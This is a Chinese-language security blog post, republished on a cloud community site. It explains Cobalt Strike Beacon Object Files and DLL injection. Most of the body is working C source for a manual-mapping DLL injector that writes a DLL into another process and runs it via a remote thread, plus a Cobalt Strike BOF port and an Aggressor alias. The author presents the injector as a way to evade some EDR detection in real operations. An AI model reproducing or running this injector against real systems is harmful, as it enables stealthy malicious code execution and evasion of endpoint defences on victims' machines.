前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用 Cobalt Strike 的 Beacon 对象文件自定义 DLL 注入

使用 Cobalt Strike 的 Beacon 对象文件自定义 DLL 注入

作者头像
黑白天安全
发布2021-10-18 16:02:53
1.9K0
发布2021-10-18 16:02:53
举报

基础

信标对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许在信标进程中执行并使用内部信标 API。

BOF 也非常小。一个 UAC 绕过特权提升反射 DLL 实现可能会达到 100KB+。但是如果我们使用 BOF 那么为<3KB。在DNS通道种非常适合,BOF 易于开发。只需要一个 Win32 C 编译器和一个命令行。

MinGW 和微软的 C 编译器都可以生成 BOF 文件。

BOF 是如何工作的?

对于 Beacon 来说,BOF 只是一个位置无关的代码块,它指向 Beacon 内部 API 的指针。对于 Cobalt Strike 而言,BOF 是由 C 编译器生成的目标文件。Cobalt Strike 解析此文件并充当其内容的链接器和加载器。

BOF 的缺点

BOF 是调用 Win32 API 和有限 Beacon API 的单文件 C 程序。不能用来构建大型项目。

Cobalt Strike 不会将 BOF 链接到 libc。我们限于编译器内部函数(例如,Visual Studio 上的 __stosb for memset)、公开的 Beacon 内部 API、Win32 API 以及自行编写的函数。可能无法通过 BOF 使用许多常用函数(例如 strlen、stcmp 等)。

BOF 在 Beacon 内部执行。如果 BOF 崩溃,将失去这个shell。

DLL 加载

代码语言:javascript
复制
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()

我们将从两个模块中较简单的 dllload 开始。该模块通过打开我们要注入的进程的句柄来工作。然后我们通过 GetProcAddress 获取内存中 LoadLibrary 的地址。从这里开始,在远程进程中分配了一页内存;将完整的 dll 路径写入新分配的缓冲区。最后,我们在远程进程中创建一个线程,它以 dll 路径作为参数调用 LoadLibrary。

代码形:

代码语言:javascript
复制
BOOL InjectDll(DWORD procID, char* dllName){

          char fullDllName[MAX_PATH];
          LPVOID loadLibrary;
          LPVOID remoteString;
          
          if (procID == 0) {
                    return FALSE;
             }
        
           HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
           if (hProc == INVALID_HANDLE_VALUE) {
                   return FALSE;
              }


            GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
            std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;


             loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
             remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
            
              WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
              CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);
              
              CloseHandle(hProc);
              return TRUE;
}

在这个手法中,我们需要注意的是:

1.必须将 DLL 放入磁盘,DLL落地并不是很好。

2.LoadLibrary 可以挂在远程进程中,阻止我们的注入。

3.注入时会创建新线程。

4.即使进程从 PEB 中删除,NtQueryVirtualMemory 也可以找到 dll,因为它链接到内核中的 EPROCESS 结构。

蓝队和EDR非常简单就可以检测到我们的恶意DLL。

DLL 注入

Cobalt 的 DLL 注入模块解决了上一节提到的很多问题。DLL 注入,或反射 dll 注入,本质上是 LoadLibrary WINAPI 函数的实现。由于我们自己实现了 LoadLibrary,它自然比 DLL Load 技术更隐蔽。

这样做有几个优点。首先,新模块不会添加到 PEB,即不会显示为加载的模块。其次,加载的 dll 不必落地直接在内存中加载就行。

最后,我们绕过可能放置在 LoadLibrary 或 LdrLoadDll 上的任何钩子,它们可能用于检测阻止我们的注入。

cobalt Strike 使用的是反射 dll 注入,其想法是将 dll 复制到远程进程,然后将执行传递给实现以下内容的导出函数:

解析 PE 标头。

如果需要,重新定位偏移量。

解决任何依赖关系。

调用 DLL 入口点 (DllMain)。

这种技术非常有效并且相当安全。然而,我在这个实现中遇到的主要问题是你必须在你的 dll 中包含反射 dll 加载器代码,本质上意味着我们已经包含了一个导出函数,该函数将修复 IAT(导入地址表)和任何必须重新定位的完成以便 PE 正确运行。

创建注入器

既然我们已经了解了 Cobalt Strike 如何处理 dll 注入,我们可以开始考虑基于Cobalt Strike使用的反射 dll 注入技术创建我们自己的注入器,同时让它在我们的任何 dll 上工作,而无需任何预配置,或访问原始源代码。

为了创建这个注入器,我将使用一种稍微不同的技术,称为手动映射,它执行与反射 dll 注入相同的步骤,处理重定位和动态加载依赖项(等),但所有这些都来自注入器,因此 dll不必包含任何额外的代码。

代码语言:javascript
复制
// Include windows API functions
#include <Windows.h>


// Define api functions so that they can be used with GetProcAddress without the
// compiler complaining
typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR);


// Dll main typedef so that we can invoke it properly from the injector
typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID);


// Stucture to be passed to the remote process so it has
// somewhere to start from
struct RemoteData
{
  LPVOID ImageBase;


  PIMAGE_NT_HEADERS NtHeaders;
  PIMAGE_BASE_RELOCATION BaseReloc;
  PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;


  pLoadLibraryA fnLoadLibraryA;
  pGetProcAddress fnGetProcAddress;


};


// Called in the remote process to handle image relocations and imports
DWORD __stdcall LibraryLoader(LPVOID Memory)
{


  RemoteData* remoteParams = (RemoteData*)Memory;


  PIMAGE_BASE_RELOCATION pIBR = remoteParams->BaseReloc;


  DWORD64 delta = (DWORD64)((LPBYTE)remoteParams->ImageBase - remoteParams->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta
  
  // Iterate over relocations
  while (pIBR->VirtualAddress)
  {
    if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
    {
      int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(DWORD);
      PWORD list = (PWORD)(pIBR + 1);


      for (int i = 0; i < count; i++)
      {
        if (list[i])
        {
          PDWORD64 ptr = (PDWORD64)((LPBYTE)remoteParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
          *ptr += delta;
        }
      }
    }


    pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
  }


  PIMAGE_IMPORT_DESCRIPTOR pIID = remoteParams->ImportDirectory;


  // Resolve DLL imports
  while (pIID->Characteristics)
  {
    PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->OriginalFirstThunk);
    PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->FirstThunk);


    HMODULE hModule = remoteParams->fnLoadLibraryA((LPCSTR)remoteParams->ImageBase + pIID->Name);


    if (!hModule)
      return FALSE;


    while (OrigFirstThunk->u1.AddressOfData)
    {
      if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
      {
        // Import by ordinal
        DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule,
          (LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF));


        if (!Function)
          return FALSE;


        FirstThunk->u1.Function = Function;
      }
      else
      {
        // Import by name
        PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)remoteParams->ImageBase + OrigFirstThunk->u1.AddressOfData);
        DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name);
        if (!Function)
          return FALSE;


        FirstThunk->u1.Function = Function;
      }
      OrigFirstThunk++;
      FirstThunk++;
    }
    pIID++;
  }


  // Finally call cast our entry point address to our dllMain typedef
  if (remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint)
  {
    dllmain EntryPoint = (dllmain)((LPBYTE)remoteParams->ImageBase + remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint);


    return EntryPoint((HMODULE)remoteParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point
  }
  return TRUE;
}


DWORD __stdcall stub()
{
  return 0;
}


int main()
{
  // Can use argc and argv rather than hard coding
  LPCSTR dll = "<INSERT_DLL_HERE>";
  
  // Get the process ID
  DWORD procId = FindProcessId("<Target_Process>");


  RemoteData remoteParams;
  
  // Loads the dll into memory if implementing a beacon file we would start here
  PVOID dllBuffer = LoadFileIntoMem(dll);


  // Find the DOS Header
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
  // Find the NT Header from the e_lfanew attribute
  PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);


  // Open a proc use less perms for an actual operation
  HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);


  // Allocate a section of memory the size of the dll
  PVOID pModAddress = VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


  // Write the headers to the remote process
  WriteProcessMemory(hProc, pModAddress, dllBuffer,
    pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);


  // Copying sections of the dll to the target process
  PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
  for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
  {
    WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
      (PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
  }


  // Allocating memory for the loader code.
  PVOID loaderMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


  // Assign values to remote struct
  remoteParams.ImageBase = pModAddress;
  remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);


  remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);


  remoteParams.fnLoadLibraryA = LoadLibraryA;
  remoteParams.fnGetProcAddress = GetProcAddress;


  // Write remote attributes to the process for our loader code to use
  WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
  WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
    (DWORD64)stub - (DWORD64)LibraryLoader, NULL);


  // Create a remote thread in the process and start execution at the loader function
  HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
    loaderMem, 0, NULL);


  // Wait for the loader to finish
  WaitForSingleObject(hThread, INFINITE);
  
  // Clean up
  VirtualFreeEx(hProc, loaderMem, 0, MEM_RELEASE);
  CloseHandle(hProc);


  return 0;
}

使用这个示例代码,我们可以开始使用钴罢工的信标对象文件创建一个实现。

BOF文件

信标对象文件只是标准的 C 文件,允许执行 WinAPI 函数以及在“beacon.h”中定义的附加信标函数。

例如:

代码语言:javascript
复制
#include "beacon.h"


void go(char* buff, int len)
{
  BeaconPrintf(CALLBACK_OUTPUT, "Working BOF");
}

然后使用此 MinGW 命令将其编译。

代码语言:javascript
复制
# for 32-bit
i686-w64-mingw32-gcc -c inject.c -o inject.o
# for 64-bit
x86_64-w64-mingw32-gcc -c inject.c -o inject.o

这里是使用Vs的来进行编译:

代码语言:javascript
复制
cl.exe /c /GS- hello.c /Fohello.o
代码语言:javascript
复制
beacon> inline-execute /path/to/hello.o

现在我们有了一个基本的目标文件,我们可以使用aggressor 脚本创建一个脚本,这样我们就不必每次想要使用我们的注入器时都输入 inline-execute 命令。我想出了以下内容,它接受文件路径的参数并将文件路径中的数据发送到我们的 BOF。

代码语言:javascript
复制


alias mandllinject {
  local('$handle $data $args $fileData');
  
  # figure out the arch of this session
  $barch = barch($1);
  
  # read in the right BOF file
  $handle = openf(script_resource("inject.o"));
  $data = readb($handle, -1);
  closef($handle);


  $dll_handle = openf($2);
  $file_data = readb($dll_handle, -1);
  closef($dll_handle);


  # pack our arguments
  $args = bof_pack($1, "bi", $file_data, $3);
  
  btask($1, "Manual DLL Inject - @tomcarver_");
  
  # execute it.
  beacon_inline_execute($1, $data, "go", $args);
}
代码语言:javascript
复制
mandllinject <path_to_dll> <procId>

运行上面的命令将导致“testdll.dll”文件被传递给我们的信标。我可以通过在我们的 BOF 中输出有效负载中的第一个字符串来验证它是否有效,它应该是“MZ”,因为所有 PE 文件都以魔术字节“\x4D\x5A”开头。

现在需要做的就是重新实现之前以信标形式的代码,只需将 WINAPI 函数转换为 CS 使用的特殊信标格式。

将之前的代码转换为与cobalt Attack 一起使用我最终得到了一个最小版本,它可以将一个dll 从内存迁移到一个远程进程。需要注意的一些事情是:它目前仅适用于 64 位进程,在 LibraryLoader 中将 DWORD64 移动到常规 DWORD(以及 DWORD 到 WORD),反之亦然以在 64 位和 32 位之间进行转换。

代码语言:javascript
复制
// Called in the remote process to handle image relocations and imports
DWORD __stdcall LibraryLoader(LPVOID Memory)
{
  // Same as before.
}


DWORD __stdcall stub()
{
  return 0;
}


void go(char* argv, int argc)
{
  PVOID dllBuffer;
    char* sc_ptr;
  int sc_len, procId;
  RemoteData remoteParams;
    datap parser;
  
  BeaconDataParse(&parser, argv, argc);
  sc_len = BeaconDataLength(&parser);
  sc_ptr = BeaconDataExtract(&parser, NULL);
  procId = BeaconDataInt(&parser);
  
  BeaconPrintf(CALLBACK_OUTPUT, "DLL Size %d", sc_len);
  BeaconPrintf(CALLBACK_OUTPUT, "Opening handle to process ID: %d", procId);


  dllBuffer = (PVOID)sc_ptr;
  // Get DOS Header
  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
  // Find the NT Header from the e_lfanew attribute
  PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);
  
  // Open a proc use less perms for an actual operation
  HANDLE hProc = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);


    // Allocate a section of memory the size of the dll
  PVOID pModAddress = KERNEL32$VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


  // Write the headers to the remote process
  KERNEL32$WriteProcessMemory(hProc, pModAddress, dllBuffer,
    pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);


  // Copying sections of the dll to the target process
  PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
  for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
  {
    KERNEL32$WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
      (PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
  }


  // Allocating memory for the loader code.
  PVOID loaderMem = KERNEL32$VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


  // Assign values to remote struct
  remoteParams.ImageBase = pModAddress;
  remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);


  remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
    + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);


  remoteParams.fnLoadLibraryA = LoadLibraryA;
  remoteParams.fnGetProcAddress = GetProcAddress;


  // Write remote attributes to the process for our loader code to use
  KERNEL32$WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
  KERNEL32$WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
    (DWORD64)stub - (DWORD64)LibraryLoader, NULL);


  // Create a remote thread in the process and start execution at the loader function
  HANDLE hThread = KERNEL32$CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
    loaderMem, 0, NULL);


  BeaconPrintf(CALLBACK_OUTPUT, "Finished injecting DLL.");


  // Clean up
  KERNEL32$CloseHandle(hProc);


  return;
}

后记

一种不同于CobaltStrike攻击使用的注入技术,可以用来绕过一些EDR的检测,在实战中使用还得修改修改。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基础
  • BOF 是如何工作的?
  • BOF文件
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档